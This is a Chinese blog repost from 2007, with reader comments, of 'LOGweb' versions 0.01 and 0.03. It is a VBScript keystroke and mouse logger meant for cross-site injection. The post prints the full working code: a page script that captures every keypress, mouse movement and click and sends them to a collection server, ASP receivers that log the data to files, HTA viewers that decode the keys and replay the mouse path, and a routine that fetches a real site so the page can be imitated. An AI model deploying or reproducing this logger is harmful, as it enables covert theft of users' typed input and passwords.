LOGweb 0.03版–跨站？

鬼仔注：我记得vbs小铺好像是lcx的。这个LOGweb版比较好玩，看说明吧。
update:有更新了，0.01版放在后面了。
update(2007.7.3 19:42):又更新了，lcx还真是勤奋，嘿嘿。

来源：vbs小铺

LOGweb 0.03版

修正2个BUG, 1是键盘大小写区分。2是有的键盘值会超过2个数字，读取紊乱的问题。3是加了模拟原页面的功能和记录鼠标是否在哪按键了(位置肯定不太准确)。

1。更新keymouse.htm如下：（可以该成vbs，<script src=*.vbs >调用）
<SCRIPT LANGUAGE=vbs> Function document_onkeypress xml(window.event.keyCode) End Function


Function document_onmousemove
xmlmouse(window.event.screenX&","&window.event.screenY)
End Function
Function document_onmousedown()
if window.event.button=1 then
xmlmouse(window.event.screenX&","&window.event.screenY&",leftclick")
else
xmlmouse(window.event.screenX&","&window.event.screenY&",rightclick")
end if
End Function
Function xmlmouse(data)
set xmlhttp = CreateObject("Microsoft.XMLHTTP")
       xmlhttp.open "post","http://192.168.8.100/mouse.asp?da="&data,false
       xmlhttp.send
End Function
function xml(data)
set xmlhttp = CreateObject("Microsoft.XMLHTTP")
       xmlhttp.open "post","http://192.168.8.100/key.asp?da="&URLEncoding(data),false
       xmlhttp.send
End Function
Function URLEncoding(vstrIn)   
strReturn = ""
Dim i
For i = 1 To Len(vstrIn)
ThisChr = Mid(vstrIn, i, 1)
       If Abs(Asc(ThisChr)) < &HFF Then
strReturn = strReturn & ThisChr
       Else
innerCode = Asc(ThisChr)
If innerCode < 0 Then
innerCode = innerCode + &H10000
End If
Hight8 = (innerCode And &HFF00) \ &HFF
Low8 = innerCode And &HFF
strReturn = strReturn & "%" & Hex(Hight8) & "%" & Hex(Low8)
       End If
Next
strReturn = Replace(strReturn, Chr(32), "%20")
URLEncoding = strReturn
End Function

</script>
________________________________________________________

2。更新READkey.hta如下：
<script language=vbs> Sub ascd() Dim strTest set fso = Createobject("Scripting.FileSystemObject") path ="key.txt" set file = fso.opentextfile(path, 1) do while not file.atendofstream strTest=file.readline myHex = chr(strTest)


   document.write myHex
   loop
end sub  
</script>

<form name=form1 method="post"> <input type=submit onclick=ascd() value="给我转"> </form>
_______________________________________________

3.READmouse.hta更新如下：
<INPUT style="RIGHT: 0px; POSITION: absolute; TOP: 0px" onclick=readlog() type=button value=播放>


<DIV id=mouse style="Z-INDEX: 1; WIDTH: 1px; POSITION: absolute; HEIGHT: 1px"><IMG height=21 src="mouse.gif" width=12></DIV>
<SCRIPT language=vbs>
dim j,K,q,pp
K=-1
dim ax(),ay(),awx(),awy()
pp=0
sub readlog()
set fso = Createobject("Scripting.FileSystemObject")
path ="mouse.txt"
set file = fso.opentextfile(path, 1)
j=0
q=0
do while not file.atendofstream
pos=file.readline
posxy=split(pos,",")
i=ubound(posxy)
if i=1 then '只是移动
redim Preserve ax(j)
redim Preserve ay(j)
ax(j)=posxy(0)
ay(j)=posxy(1)
j=j+1
else
if i=2 then
redim Preserve awx(q)
redim Preserve awy(q)
awx(q)=posxy(0)
awy(q)=posxy(1)
q=q+1
redim Preserve ax(j)
redim Preserve ay(j)
ax(j)=999
ay(j)=999
j=j+1
end if
end if
loop
file.close
set file = nothing
set fso = nothing
call play(0,0)
end sub
sub play(x,y)
mouse.style.pixelLeft=x
mouse.style.pixelTop=y
k=k+1
if k<j then
if ax(k)<>999 then
setTimeout "play("& ax(k) &","& ay(k) &")",100
end if
else
msgbox "game over"
end if
end sub
</SCRIPT>
<script language=vbs>
url = "http://www.haiyangtop.net" '该成你要模仿页面的url
Body = getHTTPPage(url)
document.write body
Function getHTTPPage(Path)
             t = GetBody(Path)
             getHTTPPage = BytesToBstr(t, "GB2312")
End Function
Function GetBody(url)
            On Error Resume Next
            Set Retrieval = CreateObject("Microsoft.XMLHTTP")
            With Retrieval
                .Open "Get", url, False, "", ""
                .Send
                 GetBody = .ResponseBody
            End With
            Set Retrieval = Nothing
End Function
Function BytesToBstr(Body, Cset)
            Dim objstream
            Set objstream = CreateObject("adodb.stream")
             objstream.Type = 1
             objstream.Mode = 3
             objstream.Open
             objstream.Write Body
             objstream.Position = 0
             objstream.Type = 2
             objstream.Charset = Cset
             BytesToBstr = objstream.ReadText
             objstream.Close
            Set objstream = Nothing
End Function

</script>

4.其他文件不变

LOGweb 0.01版

因为有些问题没解决，所以是LOGweb0.01版，以后改进。主要是用vbscript记录鼠标轨迹和键盘字符。记录的键盘字符全部会变成大写：-），而且读出来的话，象回车的话在页面上不太能显示出来。

1。键盘鼠标记录keymouse.htm
<SCRIPT LANGUAGE=vbs> Function document_onkeydown xml(window.event.keyCode) End Function


Function document_onmousemove
xmlmouse(window.event.screenX&","&window.event.screenY&windowsize)
End Function
Function xmlmouse(data)
set xmlhttp = CreateObject("Microsoft.XMLHTTP")
    xmlhttp.open "post","http://192.168.8.100/mouse.asp?da="&data,false
    xmlhttp.send
End Function
function xml(data)
set xmlhttp = CreateObject("Microsoft.XMLHTTP")
    xmlhttp.open "post","http://192.168.8.100/key.asp?da="&URLEncoding(data),false
    xmlhttp.send
End Function
Function URLEncoding(vstrIn)   
strReturn = ""
Dim i
For i = 1 To Len(vstrIn)
ThisChr = Mid(vstrIn, i, 1)
    If Abs(Asc(ThisChr)) < &HFF Then
strReturn = strReturn & ThisChr
    Else
innerCode = Asc(ThisChr)
If innerCode < 0 Then
innerCode = innerCode + &H10000
End If
Hight8 = (innerCode And &HFF00) \ &HFF
Low8 = innerCode And &HFF
strReturn = strReturn & "%" & Hex(Hight8) & "%" & Hex(Low8)
    End If
Next
strReturn = Replace(strReturn, Chr(32), "%20")
URLEncoding = strReturn
End Function

</script>

2。两个接受文件key.asp和mouse.asp
<% set fso = server.Createobject("Scripting.FileSystemObject") path =server.mappath("key.txt") set file = fso.opentextfile(path, 8,true) file.writeline request.QueryString("da") file.close set file = nothing set fso = nothing %>
———————-
<% set fso = server.Createobject("Scripting.FileSystemObject") path =server.mappath("mouse.txt") set file = fso.opentextfile(path, 8,true) file.writeline request.QueryString("da") file.close set file = nothing set fso = nothing %>

3.读键盘记录READkey.hta
<script language=vbs> Sub ascd() Dim strTest set fso = Createobject("Scripting.FileSystemObject") path ="key.txt" set file = fso.opentextfile(path, 1) strTest=file.readall strTest = replace(strtest,vbcrlf,"") strtest=replace(strtest,chr(10),"") strtest=replace(strtest,chr(13),"") myHex = Hex2str(strTest) document.write "<pre>"&myHex&"</pre>"


End sub
Function Hex2Str(hexStr)
Dim sstr,hextmp
For i = 1 To Len(hexStr) step 2
    hexTmp = chr(Mid(hexStr,i,2))
     sstr = sstr & hexTmp
Next
Hex2Str = sstr
End Function
</script>

<form name=form1 method="post"> <input type=submit onclick=ascd() value="给我转"> </form>

4.读鼠标轨迹READmouse.hta（用的czy82源码，没改）
<INPUT style="RIGHT: 0px; POSITION: absolute; TOP: 0px" onclick=readlog() type=button value=播放>


<DIV id=mouse style="Z-INDEX: 1; WIDTH: 1px; POSITION: absolute; HEIGHT: 1px"><IMG height=21 src="mouse.gif" width=12></DIV>
<SCRIPT language=vbs>
dim j,K,q,pp
K=-1
dim ax(),ay(),awx(),awy()
pp=0
sub readlog()
set fso = Createobject("Scripting.FileSystemObject")
path ="mouse.txt"
set file = fso.opentextfile(path, 1)
j=0
q=0
do while not file.atendofstream
pos=file.readline
posxy=split(pos,",")
i=ubound(posxy)
if i=1 then '只是移动
redim Preserve ax(j)
redim Preserve ay(j)
ax(j)=posxy(0)
ay(j)=posxy(1)
j=j+1
else
if i=2 then
redim Preserve awx(q)
redim Preserve awy(q)
awx(q)=posxy(0)
awy(q)=posxy(1)
q=q+1
redim Preserve ax(j)
redim Preserve ay(j)
ax(j)=999
ay(j)=999
j=j+1
end if
end if
loop
file.close
set file = nothing
set fso = nothing
call play(0,0)
end sub
sub play(x,y)
mouse.style.pixelLeft=x
mouse.style.pixelTop=y
k=k+1
if k<j then
if ax(k)<>999 then
setTimeout "play("& ax(k) &","& ay(k) &")",100
end if
else
msgbox "game over"
end if
end sub

</SCRIPT>
5。用的鼠标图象http://hiphotos.baidu.com/myvbscript/abpic/item/02ef818fa9aa23fd503d925e.jpg

楼被抢了 7 层了... 抢座、Rss 2.0或者 Trackback

lcx | 2007-07-03 03:00 | #

更新了。去我blog上看下吧

回复该留言
鬼仔 | 2007-07-03 03:42 | #

嗯，刚看到，更新了下~

回复该留言
lcx | 2007-07-03 05:23 | #

完工了。把LOGweb0.02版–跨站里的keymouse.htm再更新一下吧。再不弄了。

回复该留言
鬼仔 | 2007-07-03 07:44 | #

嗯，我也跟着更新了。

回复该留言
lcx | 2007-07-03 11:44 | #

怎么COPY的，03版你少copy了个2的部分。
2。更新READkey.hta如下^^
没想到你要转，转了出错了，人家好骂我了。嘿嘿^^^

回复该留言
偶爱偶妻 | 2007-07-04 09:41 | #

说句实话，订阅你的blog很久了，还是第一次留言啊！主题太鲜明了！

回复该留言
鬼仔 | 2007-07-04 10:17 | #

@lcx 郁闷，copy错了吗？我记得我当时有检查啊。刚又重新copy了，应该没错了吧~
@偶爱偶妻主题太明显？

回复该留言

鬼仔's Blog

楼被抢了 7 层了... 抢座、Rss 2.0或者 Trackback

发表评论

分类

最新日志

最新评论

鬼仔's Blog